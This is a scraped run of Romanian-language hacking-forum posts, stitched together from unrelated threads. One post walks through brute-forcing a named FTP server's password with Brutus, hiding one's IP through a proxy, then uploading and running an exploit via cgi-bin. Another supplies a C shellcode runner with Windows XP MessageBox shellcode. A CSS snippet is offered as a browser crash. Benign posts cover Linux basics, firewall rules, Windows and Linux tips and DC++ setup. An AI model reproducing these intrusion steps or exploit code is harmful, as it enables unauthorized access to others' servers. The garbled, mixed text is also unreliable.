  4. Se poate afla parola unui server folosind metode mai putin inteligente cum ar fi conectarile repetate. Pentru acest lucru este necesar un program de brute force cracking.Cel mai bun program de acest tip este 'Brutus'. In motorul de cautare tastati 'Brutus' sau 'brute force'.Dar cel mai bine se intelege privind urmatorul exemplu. Sa prsupunem ca serverul www.server.com are client http://ftp.Incercam prima data o conexiune: Deschidem Start/Run si tastam: open 220 220 220 220 220 connecting'>http://ftp.server.home.ro 220 220 220 220 220 connecting to server running WU_FTPD(ftp.debbie.server.com): {introduceti debbbie} password:******** userid/password incorrect login failed goodbye Dupa cum am vazut serverul,chiar daca nu a permis conectarea,a fost destul de amabil incat sa ne ofere doua informatii de mare inportanta: username:Debbie tipul de server:WU_FTPD Ori gasim un exploit pentru wu_ftpd ori incercam un brute force cracking.Programul Brutus ofera doua posibilitati de a ataca un server:folosind un dictionar de parole sau incercand toate combinatiile posibile.Din moment ce stiti username-ul inlocuiti fisierul 'users.dat' care este livrat cu Brutus cu un fisier in care puneti un singur nume si anume 'debbie'.Fisierul astfel creat puteti sa-l denumiti tot 'user.dat'.Tot ce va ramane de facut dupa ce ati facut setarile este sa asteptati. Dupa ce epuizati incercarile cu dictionarul,setati optiunea 'brute force' si selectati optiunile dorite. Ideal ar fi sa stim lungimea parolei sau numarul de caractere din care este alcatuita parola precum si natura acestora.Initial eu obisnuiesc sa fac urmatoarele setari privind parola: length min:0 length max 10 custom char :0123456789 In felul acesta incerc intai toate combintiile numerice posibile apoi schimb optiunea cu litere: custom char:abcderftyijop Aceasta metoda este absolut sigura dar are doua dezavantaje majore: 1)Timpul mare de asteptare (1 ora-cateva luni depinde de noroc).Pentru cineva care are Net-ul pe Lan nu este o problema(firma sau alta institutie). 2)Ip-ul dvs este inregistrat,asa ca incercati sa folositi un proxy server sau un program precum 'jammer' care zice-se ca ascunde numarul de telefon. Voi mai da un exempu de bug in ftp: open http://ftp.server.com 220 220 220 ... connecting to........(ftp.server.com):ftp {introduceti un user implicit} passrord:guest ftp>dir 'tastati dir sa vedeti la ce directoare aveti acces' Daca vedeti un director numit cgi-bin,cgi-win sau script atunci servrul este hackerit!!! Cautati un exploit adecvat pentru sistemul de operare respectiv(stiti cum sa-l aflati) il puneti pe desktop apoi dati urmatoarea comanda(pres. ca exploitul se numeste expl.exe): cd cgi-bin(sau ce director gasiti) put expl.exe apoi tastati 'quit' ,deschideti browserul si tastati(pres. ca directorul este cgi-bin): http://www.server.com/cgi-bin/expl.exe Nu mai ramane altceva decat sa asteptati rezultatul executiei exploitului,caruia bineinteles ai cititi documentatia inainte de a fi folosit.
  5. SCUZATI COPI/PAST DAR CRED CAI INTERESANT SI POATE LA VRO CINEVA II VINE BINE here are a few things that maybe useful to those of you who wish to begin in shellcoding. firstly, you will want to write shellcode in assembly. disassemble a C++ program, a simple cout << "whatever"; look how many op codes there are, it is a lot. i use FASM, http://www.flatassembler.net, as i like it. i have attached the shellcoders handbook as well, its a good read. A C program i have found useful in the past for writing shell code is this...its on milw0rm, but here it is. #include <stdlib.h> #include <string.h> char shellcode[]= "x31xc0x31xdbx31xc9x31xd2xebx37x59x88x51x0axbb" "x77x1dx80x7c"   //***LoadLibraryA(libraryname) IN WinXP sp2*** "x51xffxd3xebx39x59x31xd2x88x51x0bx51x50xbb" "x28xacx80x7c"  //***GetProcAddress(hmodule,functionname) IN sp2*** "xffxd3xebx39x59x31xd2x88x51x06x31xd2x52x51" "x51x52xffxd0x31xd2x50xb8xa2xcax81x7cxffxd0xe8xc4xff" "xffxffx75x73x65x72x33x32x2ex64x6cx6cx4exe8xc2xffxff" "xffx4dx65x73x73x61x67x65x42x6fx78x41x4exe8xc2xffxff" "xffx4fx6dx65x67x61x37x4e"; /*MessageBox shellcode for Windoew xp sp2 */ int main () { int *ret; ret=(int *)&ret+2; printf("Shellcode Length is : %d",strlen(shellcode)); (*ret)=(int)shellcode; return 0; }simply replace the opcodes with your shellcode, and if its correct it will execute it for you, and tell you the length. shellcoders handbook: http://www.megaupload.com/?d=1AIXFVH (found link at: http://www.tuttoallalettera.com/wpb/...ders-handbook/) this was just to get this forum rolling a bit, feel free to ask for help or add some more stuff. stay safe Update: this is a perl script that i have also found useful in writing shellcode, it dumps the hex bytes of an exe file. it makes it so much simpler, rather than having to open up a hexeditor and do it by hand. you need perl installed, obviously. again, i advise you compile the app from assembly, because C++ is poo for writing shellcode, for 2 reasons. firstly its big, and secondly it has a nasty habit of referencing to relative address' in its own app, and those adress will be useless in any other app, making invalid shellcode. # # DumpHex v1.0 | Reed Arvin reedarvin[at]gmail[dot]com # # Usage: # DumpHex.pl <file name> # DumpHex.pl MyBin.exe # ############################ use strict; my($strInputFile) = $ARGV[0]; my($intByteCount) = ""; my($binBytes) = ""; my($intReadLength) = ""; if ($#ARGV ne "0") { print "DumpHex v1.0 | Reed Arvin reedarvin[at]gmail[dot]comn"; print "n"; print "Usage:n"; print "DumpHex.pl <file name>n"; print "DumpHex.pl MyBin.exen"; exit; } $intReadLength = 16; if (open(INPUTFILE, "< $strInputFile")) { open(OUTPUTFILE, "> $strInputFile.txt"); binmode(INPUTFILE); $intByteCount = 0; while (read(INPUTFILE, $binBytes, $intReadLength)) {  print (OUTPUTFILE uc(unpack("H" . ($intReadLength * 2), $binBytes)), "n"); } close(INPUTFILE); close(OUTPUTFILE); } else { print "ERROR! Cannot open file $strInputFile"; } # Written by Reed Arvin reedarvin[at]gmail[dot]com
  6. <p class=MsoNormal>The Linux File system isn’t to hard to learn, it isn’t as simple as Windows, but if you plan on running Linux you should know where your files are. This paper is for users new to Linux, experienced people most likely wont learn too much from this paper. </p> <p class=MsoNormal>The Root Directory</p> <p class=MsoNormal>The file system can be thought of as a sort of tree, the trunk or start of this tree is the root directory which is represented by a forward slash ‘/’. All the other directories branch off from this one.</p> <p class=MsoNormal><o:p></o:p></p> <p class=MsoNormal>Common Subdirectories of the Root</p> <p class=MsoNormal>/bin – Common programs, often binary files</p> <p class=MsoNormal>/boot – Files for booting the system, this is where the kernel is</p> <p class=MsoNormal>/sbin – Programs designed to be run by the superuser or root</p> <p class=MsoNormal>/lib – Libraries of code</p> <p class=MsoNormal>/dev – Device files for interfacing with hardware</p> <p class=MsoNormal>/mnt - Mount point, directors that provide access to the disks</p> <p class=MsoNormal>/etc – System config files, similar to windows control panel </p> <p class=MsoNormal>/lost+found – Files that were saved during failures are here</p> <p class=MsoNormal>/misc – Miscellaneous purposes</p> <p class=MsoNormal>/tmp – Temporary space for use by people or the system</p> <p class=MsoNormal>/var – Storage for variables and temporary files such as the mail queue </p> <p class=MsoNormal>/usr – more system files supplied with Linux</p> <p class=MsoNormal>/proc – Currently-running processes</p> <p class=MsoNormal><o:p></o:p></p> <h2>Important Files and Directories <o:p></o:p></h2> <p class=MsoNormal><o:p></o:p></p> <p class=MsoNormal>The Kernel</p> <p class=MsoNormal>The kernel is the heart of the system, it controls the communication between the hardware and the peripherals. The kernel makes sure that processes and daemons (server processes) are started and stopped at the exact moments. The kernel has many important tasks, it would lead us too far away to discuss the kernel in detail. For now it is just important that you know the kernel is the most important file on the system. </p> <p class=MsoNormal><o:p></o:p></p> <p class=MsoNormal>The Shell</p> <p class=MsoNormal>The shell is a way to interface with the computer for typing commands, executing them, and displaying the results, and it is a way of navigating the directory tree. Similar to the Dos command prompt. The shell is an advanced way of communicating with the system.</p> <p class=MsoNormal>Shell Types</p> <p class=MsoNormal>yes"> style='mso-tab-count:1'> sh or Bourne Shell: this is the original shell still used on Unix systems. This is the basic shell, it’s a small program with a few features.</p> <h1>bash or Bourne again shell: this is the standard shell. The Bourne shell is compatible with the Bourne Again Shell, commands that work in sh style='font-weight:normal'>will also work in bash. However it doesn’t always work the other way around.<o:p></o:p></h1> <p class=MsoNormal> csh or C cshell: Resembles the syntax of the C programming language.</p> <p class=MsoNormal> tcsh or Turbo C shell: an enhanced version of the common C shell.</p> <p class=MsoNormal>If you don’t know which shell you are using, type the command ‘echo $SHELL’style="mso-spacerun: yes"> <o:p></o:p></p> <p class=MsoNormal><o:p></o:p></p> ; <p class=MsoNormal>Navigating the Directory Tree</p> <p class=MsoNormal>yes"> </p> <p class=MsoNormal>The ‘cd’ Command</p> <p class=MsoNormal>The cd (change directory) command will change your current directory. Using the cd command with no arguments will set your shell’s current working directory to your home directory. Example ‘cd mnt’ will take you to the /mnt directory</p> <p class=MsoNormal><o:p></o:p></p> <p class=MsoNormal>The ‘ls’ Command</p> <p class=MsoNormal>The ls command lists files and folders in your current working directory. To list all files in your current working directory you would just type ‘ls’ by default ‘ls’ will hide files that begin with a period. Other useful arguments are:</p> <p class=MsoNormal>-a lists all files including those that start with a period</p> <p class=MsoNormal>yes"> -l long listing, will give more details about each file.</p> <p class=MsoNormal>[if !supportEmptyParas] [endif]<o:p></o:p></p> <p class=MsoNormal>The ‘cp’ Command</p> <p class=MsoNormal>This is the copy command. To use it you would type ‘cp file1 file2’ where file1 is the file you wish to copy and file2 is the name you want to copy it too. You can use path names for example ‘cp /home/alxciada/linux1.txt /home/flatline/linux1.txt’ style="mso-spacerun: yes"> which would copy a file called linux1.txt from my home directory to flatline’s home directory. Other useful arguments are:</p> <p class=MsoNormal>-p – Will copy not only the file contents, but also the file’s permissions, timestamps and owner. (By default the owner of the copy will be you, it will be time stamped now)</p> <p class=MsoNormal>-i – interactive mode. Ask before overwriting files</p> <p class=MsoNormal>-f – Force the copy.</p> <p class=MsoNormal>[if !supportEmptyParas] [endif]<o:p></o:p></p> <p class=MsoNormal>The ‘rm’ command</p> <p class=MsoNormal>The ‘rm’ (remove command) can delete files and directories, simply type ‘rm filename’. style="mso-spacerun: yes"> Some useful arguments are:</p> <p class=MsoNormal>-i – interactive mode, ask before deleting each file</p> <p class=MsoNormal>-f – forces the deletion, ignore errors and warnings </p> </div>
  7. hai noroc si bun venit pe aici
  8. zbeng

    9 virusi

    sarumana am sai folosesc:D:D:D
  9. zbeng

    Icarius

    salut si bun venit pe aci spor la cat ami multe posturi de calitate
  10. mersi mult..o sa imi fie de mare folos
  11. zbeng

    na si eu

    hai noroc sunt primu care a venit dupa admini pe aci numele:ovidiu------>zbeng domniu hacker: noob---->mai direct bata sper sa invat cate ceva de pe aci si sa va ajut daca pot in vro ceva
  12. nai pt ce sper sa va fie de folos
  13. poftiti un site pt mobile codate http://www.fun-sms.ro/decodare_telefoane.php
  14. Ordinea regulilor: Regulile sunt procesate intr-o anumita ordine. In help-ul fiecarui firewall se specifica ordinea. Cand o regula a fost aplicata, celelalte care urmeaza sunt ignorate. Pachete si programe: Pot exista reguli pentru pachete si pentru aplicatii. Vezi exemplu de mai jos pentru Internet Explorer = regula pentru aplicatie. O regula pentru pachete ar putea fi urmatoarea: Directie: inbound, incoming, sosire, intrare Actiune: blocheaza Remote port(s): any (orice) Local port(s): 445 Orice pachet destinat portului 445 este blocat. Ephemeral Ports = 1024 pana la 5000 (local) Limitarea la aceste porturi este recomandata. De exemplu o regula pentru Internet Explorer: Aplicatie: numai Internet Explorer Directie: outbound, outgoing, plecare Actiune: permite Remote port(s): 80 (HTTP) Local port(s): 1024 - 5000 Reguli Reguli pentru ICMP (Internet Control Message Protocol)- ICMP Types Se permit de obicei: 1. ICMP - type 8 - intrare (type 8 = Echo request = ping) - permite altcuiva sa ping calculatorul personal (nerecomandat, recomandat daca ping se limiteaza la o anumita adresa) 2. ICMP - types 0, 3, 11 - intrare (Echo reply, Host unreachable, TTL) - alt calculator raspunde la ping, un router spune ca nu gaseste o destinatie, timp expirat (recomandat) 3. ICMP - types 8 - plecare (Echo request) - pot sa ping un calculator (recomandat) Aceste 3 reguli pentru ICMP sunt urmate de o regula care blocheaza toate mesajele ICMP. Exemplu: 1. Permite unui anume calculator sa ping calculatorul meu Aplicatie: - Directie: inbound, incoming, sosire, intrare Protocol: ICMP Actiune: permite Serviciu local: type 8 Echo request Remote: oricare serviciu, aplicatie Remote address: IP XXX.XXX.XXX.XXX (recomandat) 2. Permite ca eu sa primesc raspuns la ping, un raspuns de la router sau un mesaj ca pachetul a expirat Aplicatie: - Directie: inbound, incoming, sosire, intrare Protocol: ICMP Actiune: permite Serviciu local: types 0, 3, 11 Echo reply, Host unreachable, TTL Remote: oricare serviciu, aplicatie Remote address: oricare 3. Permite ca eu sa ping alte calculatoare Aplicatie: - Directie: outbound, outgoing, plecare Protocol: ICMP Actiune: permite Serviciu local: type 8 Echo request Remote: oricare serviciu, aplicatie Remote address: oricare 4. Blocheaza orice ICMP in ambele directii (tot ce e permis se afla mai sus) Aplicatie: - Directie: outbound, outgoing, plecare si inbound, incoming, sosire, intrare Protocol: ICMP Actiune: blocheaza Serviciu local: orice tip Remote: oricare serviciu, aplicatie Remote address: oricare Reguli pentru DNS - Port: 53 server (TCP, UDP), local 1024 - 5000 (TCP, UDP). How Domain Name Servers Work De obicei se permite accesul la DNS-ul providerului de net si se blocheaza accesul la orice alt DNS. Vor exista deci doua reguli. Aplicatie: oricare Directie: outbound, outgoing, plecare si inbound, incoming, sosire, intrare Protocol: UDP, TCP Actiune: permite Serviciu local: porturi 1024 - 5000 Remote: port 53 Remote address: IP XXX.XXX.XXX.XXX Aplicatie: oricare Directie: outbound, outgoing, plecare si inbound, incoming, sosire, intrare Protocol: UDP, TCP Actiune: blocheaza Serviciu local: oricare port Remote: port 53 Remote address: oricare adresa Reguli pentru aplicatii: Internet Explorer sau orice browser Aplicatie: Internet Explorer sau alt browser Directie: outbound, outgoing, plecare Protocol: TCP Actiune: permite Serviciu local: porturi 1024 - 5000 Remote: porturi: 80, 88, 443, 1080, 8080 Remote address: oricare Reguli pentru Outlook, Outlook Express sau orice program de email Aplicatie: programul de email Directie: outbound, outgoing, plecare Protocol: TCP Actiune: permite Serviciu local: porturi 1024 - 5000 Remote: porturi: 110 (POP3) Remote address: IP XXX.XXX.XXX.XXX Aplicatie: programul de email Directie: outbound, outgoing, plecare Protocol: TCP Actiune: permite Serviciu local: porturi 1024 - 5000 Remote: porturi: 25 (SMTP) Remote address: IP XXX.XXX.XXX.XXX Pentru a bloca accesul programului de email la HTTP Aplicatie: programul de email Directie: outbound, outgoing, plecare Protocol: TCP Actiune: blocheaza Serviciu local: oricare Remote: porturi: 80, 88, 1080, 8080 (sau oricare) Remote address: oricare
  15. <head> <style><!-- #page div p:first-child:first-letter { border-bottom: 2px ridge #F5DEB3; } //--> </style> </head> <body><div id="page"><div> IE's goooinggg doooowwwwnnnnnnnn......baaammmmm</p>
  16. sarumana acuma lam incerc si e perfect
  17. Registry Display a banner each time Windows boots Start -> Run Type regedit Go to the key HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionWinLogon Create a new string value in the right pane named LegalNoticeCaption and enter the value that you want to see in the menubar Create a new string value and name it LegalNoticeText. Modify it and insert the message you want to display each time Windows boots. Windows Shutting down Windows the fastest way Start -> Run Type rundll.exe user.exe,exitwindows Internet Explorer Your browser logo shows something other than the IE logo. Maybe you have installed your ISP software and you have a different logo on the top right. How do you remove it? Close all browser windows Start -> Run Type RunDLL32.EXE IEdkcs32.dll,Clear Click on OK, and start Internet Explorer. You should find the old spinning IE logo. Linux General Commands How to write a boot image from your hard disk to a floppy Put a blank floppy into the drive, go to the boot image directory and type dd if=boot.img of=/dev/fd0 How to copy the boot image from your hard disk to a floppy Put the boot floppy into the drive and type dd if=/dev/fd0 of=floppy.img How to search for a file arul.jpg recursively in your Unix account find ~/ -name "arul.jpg" How to display all the processes running on the host ps -af How to check the current quota and tell how much you have used quota How to check disk space in a directory (say /usr) du -s -H /usr How to report size (in kBytes) of all enclosed directories (recursive) du -k How to report size (in kBytes) of all enclosed directories (non-recursive) du -ms * How to list login IDs of users currently logged in to the system users How to change the permanent information kept by the system about your logon ID chfn Administrator commands access a windows (only FAT or FAT32) partition (say hda2) under linux mount -t vfat /dev/hda2 /win allow root user and other users(where user id=500) to get rw permission for that windows partition mount -t vfat -o uid=500 /dev/hda2 /win list all device files corresponding to hda fdisk -l /dev/hda track down symbolic links, for example, to see where xterm points to namei /usr/X11/bin/xterm print Linux version information uname -r measure hard disk speed hdparm -tT /dev/hda print hardware summary more /proc/cpuinfo check inode usage of all mounted partitions df -i monitoring the system for the growth of a file tail -f /var/log/messages RPM commands install an rpm package (foo-1.0-2.i386.rpm) rpm -ivh foo-1.0-2.i386.rpm uninstall an rpm package (foo-1.0-2.i386.rpm) rpm -e foo upgrade an rpm package (foo-1.0-2.i386.rpm) rpm -Uvh foo-1.0-2.i386.rpm query the rpm package (foo-1.0-2.i386.rpm) rpm -q foo display all the installed rpm packages rpm -qa display all the installed rpm packages having string "yahoo" rpm -qa | grep -i "yahoo" query the rpm package owning file, say ls rpm -qf /bin/ls display the rpm package information (foo-1.0-2.i386.rpm) rpm -qi foo query a specific rpm package (whether installed or not) rpm -qp foo.bar check an rpm signature package (foo-1.0-2.i386.rpm) rpm --checksig foo Switching from Lilo to Windows boot loader Login as root by entering: su Then edit /etc/lilo.conf by entering: emacs /etc/lilo.conf If you use any other editor, use it instead of emacs. Insert the line default=windows First make sure you have the following lines in your lilo.conf other = /dev/hda1 label = windows After that, effect the changes by entering: lilo Essential emacs commands FILE AND BUFFERS C-x C-f Find or Create file C-x C-s Save file C-x C-w Write to new filename (it prompts you) C-x C-b Lists buffers C-x C-c Quit emacs COMMAND RELATED ESC ESC ESC Cancelling whatever I am doing C-g Abort command (like Ctrl C) C-_ or C-x u Undo/Redo (toggles) C-z Suspend (to return, type %emacs) A-x Run any command CUTTING COPYING AND PASTING C-k Cut text from cursor to end of line C-y Paste text C-space Mark the start for the block C-w Mark the end of the block and CUT it A-w Mark the end of the block and COPY it FIND REPLACE a STRING A-x replace-string ENTER String replace from cursor to end of buffer A-x query-replace ENTER String replace with querying A-% Search and replace (press y when prompted) A-x grep ENTER Perform a 'grep' search SCROLLING AND WINDOWS C-x 1 One window on current buffer C-x 2 Split window horizontally C-x 3 Split window vertically C-x o Shift between windows C-x 0 Close current window C-v Go forward one screen A-v Go backward one screen CURSOR MOVEMENT A-v Beginning of buffer C-v End of buffer C-a Beginning of line C-e End of line A-f Forward one word A-b Back one word MORE A-x what-line ENTER Display current line number A-< C-u 20 C-n Go to line number 20 FTP (file transfer protocol) This is mostly used to copy files between computers. It doesn't support compression. It is also not encrypted. This is how to transfer files. To connect to foo.com ftp foo.com You will have to enter your username and password when prompted. If the file being transferred is a binary file (yes, PDF and PS are binary files), type the following. binary To upload your file wolf.pdf to the directory in foo.com cd /home/arul/backup put wolf.pdf To download the file arul.ps from the directory in foo.com get arul.ps If you have multiple files, use mget instead of get and mput instead of put. To quit, type bye. This is just the basic file transfer using http://FTP. To check all the options using FTP, type man ftp from your shell prompt.by mc1
  18. zbeng

    DC++

    DE PREFERABIL ESTE SA DOWNL CLIENTI BUNI DE DC++ CUM ARE FI : - PEERWEB DC++ acesta il gasiti aici http://dc.peerweb.org -Zion Dc++ acesta il gasiti http://xpojnt.iglu.cz/download.htm Exista mai multe tipuri de clienti dar important este sa il folositi pe cel care este cel mai bun :blush: 1) Instalarea DC++ 2) Configurarea DC++ 3) Lucrul cu DC++ 1) Instalarea I: De unde iau ultima versiune de DC++ ? R: De pe Internet, de la oricare din urmatoarele adrese : * Homepage @ http://dcplusplus.sourceforge.net Altele: http://heanet.dl.sourceforge.net/source ... 0.4034.exe http://belnet.dl.sourceforge.net/source ... 0.4034.exe http://mesh.dl.sourceforge.net/sourcefo ... 0.4034.exe http://puzzle.dl.sourceforge.net/source ... 0.4034.exe http://ovh.dl.sourceforge.net/sourcefor ... 0.4034.exe Alte link uri utile * Forum @ http://dcplusplus.sourceforge.net/forum * Report bugs @ http://dcplusplus.sourceforge.net/bugs * Request features @ http://dcplusplus.sourceforge.net/bugs * Download language files @ http://sourceforge.net/tracker/?atid=46 ... unc=browse * Get newest version @ http://dcplusplus.sourceforge.net/index.php?t=2&s=1 I: Cum instalez DC++ ? R: Lansati in executie fisierul DCPlusPlus x.exe pe care l-ati descarcat de pe Internet. Bifati "Accept the ...", apasati Next. Optional puteti debifa optiunea "Debug Information". Apasati Next. Daca nu va place directorul in care se va instala puteti alege altul cu Browse. Apasati Install iar dupa ce a terminat “Close”. 2) Configurarea I: L-am instalat, acum ce fac? R: Il lansati in executie : Start - Programs - DC++ - Dc++ La prima pornire a DC - ului apare automat fereastra Settings in care se fac toate configurarile necesare. Fereastra Settings poate fi deschisa si din meniul File - Settings. I: Ce completez in fereastra Settings? R: Sectiunea General Nick: acesta va fi numele cu care veti fi cunoscut pe hub. Nu trebuie sa contina spatii. (Vezi si http://aneu.no-ip.biz/viewtopic.php?t=89 de pe acest forum, unde este explicata modalitatea de setare a nick ului) E-mail: optional va puteti lasa adresa de e-mail Description: optional ; aceasta descriere va aparea in lista de useri Connection type: depinde de tipul de conectare la internet astfel: daca sunteti conectat la Internet prin cablu alegeti Cable;pentru fibra optica Lan(T1), si ISDN, Sattelite, 56 kbps pentru tipurile respective. Connection Settings: se completeaza in functie de conectarea din modem. Daca aveti IP rutabil alegeti Active. Completati IP-ul dumneavoastra iar la port nu scrieti nimic. Daca aveti internet din retea (sunteti conectati mai multi pe acelasi IP) alegeti Passive. Daca aveti internet printr-un server de proxy alegeti SOCKS5. Puneti acolo IP-ul proxy-ului, portul, username-ul si parola.(aceste date le obtineti de la administratorul proxy-ului) Lasati bifat "Use SOCKS5 server..." Sectiunea Downloads Default download directory: aici va salva DC-ul fisierele terminate. Daca lasati necompletat, fisierele vor fi salvate in directorul DC-ului in Downloads. Unfinished downloads directory: aici vor fi salvate fisierele in curs de transmisie. Dupa ce vor fi terminate vor fi mutate automat in directorul de mai sus. Daca lasati necompletat vor fi salvate in directorul DC-ului in Incomplete. Limits: nu este necesara modificarea numerelor de aici "Maximum simultaneous.. " - numarul maxim de downloaduri simultane. "No new ..." - nu va fi pornit un nou download daca viteza curenta depaseste acest numar. Public Hubs list URL: nu este necesar, dar daca cunosteti o adresa de internet cu hub-uri de dc o puteti scrie aici. HTTP proxy: proxy-ul pentru aceasta adresa. (doar in cazul in care folositi un server de proxy pentru a va conecta la internet) Sectiunea Sharing Aici puneti directoarele din care ceilalti useri pot sa ia la randul lor de la dumneavoastra. Este necesar un minim pentru a vi se permite conectarea pe huburi. In functie de hub-uri e posibil sa vi se ceara mai mult sau mai putin. Bifati "share hidden files" si cu Add Folder adaugati directoarele pe care doriti sa le impartiti cu ceilalti useri. Dupa fiecare adaugare va incepe indexarea acestor directoare. Apasati "Run in Background". La upload slots puneti valoarea 2*X unde X=numarul de huburi la care sunteti conectati. Acesta reprezinta numarul de useri ce pot lua simultan de la dumneavoastra. Spre ex : sunteti conectati la 4 huburi, puneti 8 sloturi s.a.m.d. Sectiunea Appearance Options: se pot seta urmatoarele lucruri : (optional) "Filter kick and NMDC..." - mesajele de debug si kick nu vor aparea in main chat ci in bara de sub el. "Minimize to tray" - la minimizare DC++ se va duce in tray in loc de taskbar. "Show timestamps..." - in chat alaturi de numele userului va aparea si ora la care a trimis mesajul. "Confirm application.." - la iesirea din DC vi se va cere o confirmare. "View status messages..." - in main chat vor aparea niste mesaje speciale "Show joins/parts..." - in main chat vor aparea toti userii care se conecteaza/deconecteaza "Only show join/parts" - in main chat vor aparea userii favoriti care se conecteaza/deconecteaza "Use system icons" - DC-ul va folosi iconitele din Explorer pentru diferite tipuri de fisiere "Use OEM Monospaced font" - se va folosi un font de latime fixa (de ex Courier) "Set Finished Manager(s) tab..." - daca fereastra "Finished uploads / downloads" este deschisa si se termina un upload/download butonul ei va avea textul ingrosat. "Set Download Queue..." - daca fereastra "Download Queue" este deschisa si un download se termina sau schimba starea butonul ei va avea textul ingrosat. "Set Hub/PM Tab" - daca in fereasta hub-ului sau fereastra unui mesaj privat apare un nou mesaj butonul ei va avea textul ingrosat. "Get User Country" - afisarea tarii userului in ferestra de upload / download “Default Message “ mesajul ce ca apare cand cineva va da mesaj privat in modul away. “Set Timestamps “ formatul in care va aparea data in main chat si mesajele private. “Language File “ DC++ va citi acest fisier XML astfel incat sa folositi DC-ul in limba din acest fisier. Fereastra Settings sectiunea Logs and Sounds DC++ poate salva main chat-ul, mesajele private, de la cine se face download si la cine se face upload. Se poate alege un director pentru salvarea acestor log-uri care vor fi salvate ca fisiere text. Daca nu alegeti acest director se va salva in directorul Logs din directorul DC-ului. "Log main chat" - bifati pentru salvarea main chat-ului. "Log private chat" - bifati pentru salvarea mesajelor private. "Log download" - bifati pentru salvarea informatiior despre fisierele la care ati facut download. "Log upload" - bifati pentru salvarea informatiior despre fisierele care au fost upload-ate. DC++ poate de asemenea produce sunete astfel: "Make an annoying sound every time..." la fiecare linie de mesaj privat primita veti auzi un bip "Make an annoying sound when a..." la deschiderea unei ferestre de mesaj privat veti auzi un bip. Sectiunea Advanced “Rollback “ – la continuarea download-ului unui fisier se face o intoarcere inapoi cu atati bytes. Ar fi bine sa fie setat dar cu o valoare mica pentru a evita eroarea de tipul: “Rollback inconsistency” “Max Hash Speed “ viteza maxima de indexare a fisierelor. “Write Buffer Size “ marimea buffer-ului de scriere. Un buffer mai mare inseamna mai putine accesari ala hard-ului. Se masoara in KB. "Max Tab Rows" numarul maxim de linii cu butoane care vor aparea in josul ecranului. “Auto-away on Minimize “ – la minimizarea DC-ului se va trece in modul away. “Automatically Follow Redirects “ – un hub la care sunteti conectat poate trimite o comanda de deconectare si reconectare la alt hub. Daca nu bifati va trebui sa va conectati manual la noul hub cu butonul “Follow Redirect”. Veti fi deconectat oricum de la hub-ul curent. “Clear Search Box After Each Search “ – dupa fiecare search cuvantul de cautare va dispare. “Open the Public Hubs Window at Startup “ – la pornirea DC-ului se va deschide fereastra de hub-uri publice. “Download Queue Window at Startup “– la pornirea DC-ului se va deschide fereastra de download-uri curente. “Open the Favorite Hubs Window at Startup “ - – la pornirea DC-ului se va deschide fereastra de hub-uri favorite. “Open the Finished Downloads Window at Startup “ - – la pornirea DC-ului se va deschide fereastra de download-uri terminate. “Automatically Search for Alternative Download Locations” – la fiecare minute DC-ul va cauta alti user-i care mai au fisierele pe care le download-ati. Daca download-ul a fost pornit prin TTH ( un cod unic al fiecarui fisier de pe hub ) cautarea se va face dupa acest cod. In caz contrar cautarea se va face dupa numele fisierului. “Open Private Messages in Their Own Window “ – mesajele private vor aparea in propria lor fereastra. In caz contrar vor aparea in main chat. “Ignore Private Messages From Offline Users “ – se vor ignora mesajele de la user-i care nu sunt conectati momentan la hub. “Open Private Messages From Offline Users in Their Own Window “ – la fel ca mai sus, aceasta optiune conteaza numai daca optiunea anterioara nu e bifata. “Open New File List Windows in the Background “ – lista care o luati de la cineva va aparea deasupra tuturor celorlalte fereste la terminarea transferului. “Open New Private Message Windows in the Background “ – daca o debifati mesajele private vor aparea deasupra tuturor celorlalte ferestre. “Keep Duplicate Files in Your File List “ – bifati daca doriti sa pastrati fisierele care se repeta in lista. Marimea acestor fisiere nu se ia in seama la calcularea share-ului total. “Register with Windows to Handle dchub:// URL Links “ – daca o bifati DC++ va fi folosit pentru toate link-urile de tipul dchub:// . “Register with Windows to Handle manget: URL Links “ – daca o bifati fisierul din link va fi cautat in reteaua DC++. “Use Small Send Buffer “ – bifati daca upload-urile incetinesc mult download-urile. “Don't Delete File Lists When Exiting “ – bifati daca nu doriti ca la iesirea din DC++ sa fie sterse toate listele luate. “Automatically Disconnect Users Who Leave the Hub“ – user-ii care parasesc hub-ul vor fi automat deconectati de la transferuri. “Show Progress Bars for Transfers “ – va aparea o bara colorata care indica progresul unui transfer “Enable Automatic SFV Checking “ – fiecare set de fisiere va fi insotit de un fisier pentru controlul corectitudinii transferului. Daca acest fisier exista se vor verifica fisierele primite si vor fi retransmise in cazul detectarii unei erori. “Automatically Refresh Share List Every Hour“ – lista va fi reimprospatata la fiecare ora. “Use AntiFragmentation Method for Downloads “ – la bifare se va rezerva pe hard la inceputul unui download spatiul necesar acestuia. Avantaje : nu se va produce fragmentarea fisierului. Dezavantaje: o mica intarziere la inceputul download-ului, mai putin spatiu disponibil si mai ales pierderea progresului download-ului daca Windows-ul crapa si DC-ul nu iese in mod normal. “Don't Send the Away Message to Bots “ – mesajul de away nu va fi trimis bot-ilor. Un bot nu este un utilizator. ( Ex : BlackWatcher si OP CAFE de pe hub-ul BlackSharing ). “Skip Zero-Byte Files “ – fisierele de marime 0 nu vor fi download-ate. “Break on First ADLSearch Match “ – la search fisierul va aparea doar o data si se va intrerupe cautarea. “Tab Completion of Nicks in Chat “ – scrieti doar o parte din nick-ul cuiva din main chat, apasati tab si se va face completarea nick-ului.“Enable Safe and Compressed Transfers “ – se va folosi o compresie la transfer, grabind transferul unor anumite fisiere si asigurand integritatea fisierelor. “Accept Custom User Command From Hub “ – un hub poate avea niste comenzi speciale numai ale lui. Bifati daca doriti folosirea acestora. “Automatically Match Queue for Auto Search Hits “ – la cautarea unei noi surse de download se va lua automat si lista user-ului la care s-a mai gasit fisierul respectiv. “Log Filelist transfers “ – transferul listelor va fi adaugat la log-ul de transferuri. “Send Unknown /commands to the Hub “ – comenzile pe care hub-ul nu le recunoaste vor fi trimise pe main chat ca mesaje normale. “Add Finished Files to Share Instantly “ – daca directorul de download al DC-ului este in share, fisierele vor fi adaugate in share imediat ce au fost terminate. “Use UPnP Control “ – se va face autoconfigurarea XP-ului (firewall si router-e) astfel incat sa permita DC-ului sa functioneze in mod activ. 3)Lucrul cu DC++ I: Am configurat totul, cum intru pe retea ? R: Pentru aceasta trebuie sa va conectati la hub astfel: Mergeti in meniul View-Favorite Hubs. (sau dati CTRL+F ) . Apasati New. Name : numele hub-ului. Il denumiti cum doriti. Adress : scrieti : blacksharing.no-ip.org:400 Description : puteti scrie o descriere a hub-ului. Daca doriti ca sa aveti un nick si o descriere specifica acestui hub scrieti-le la Identification. (Atentie insa 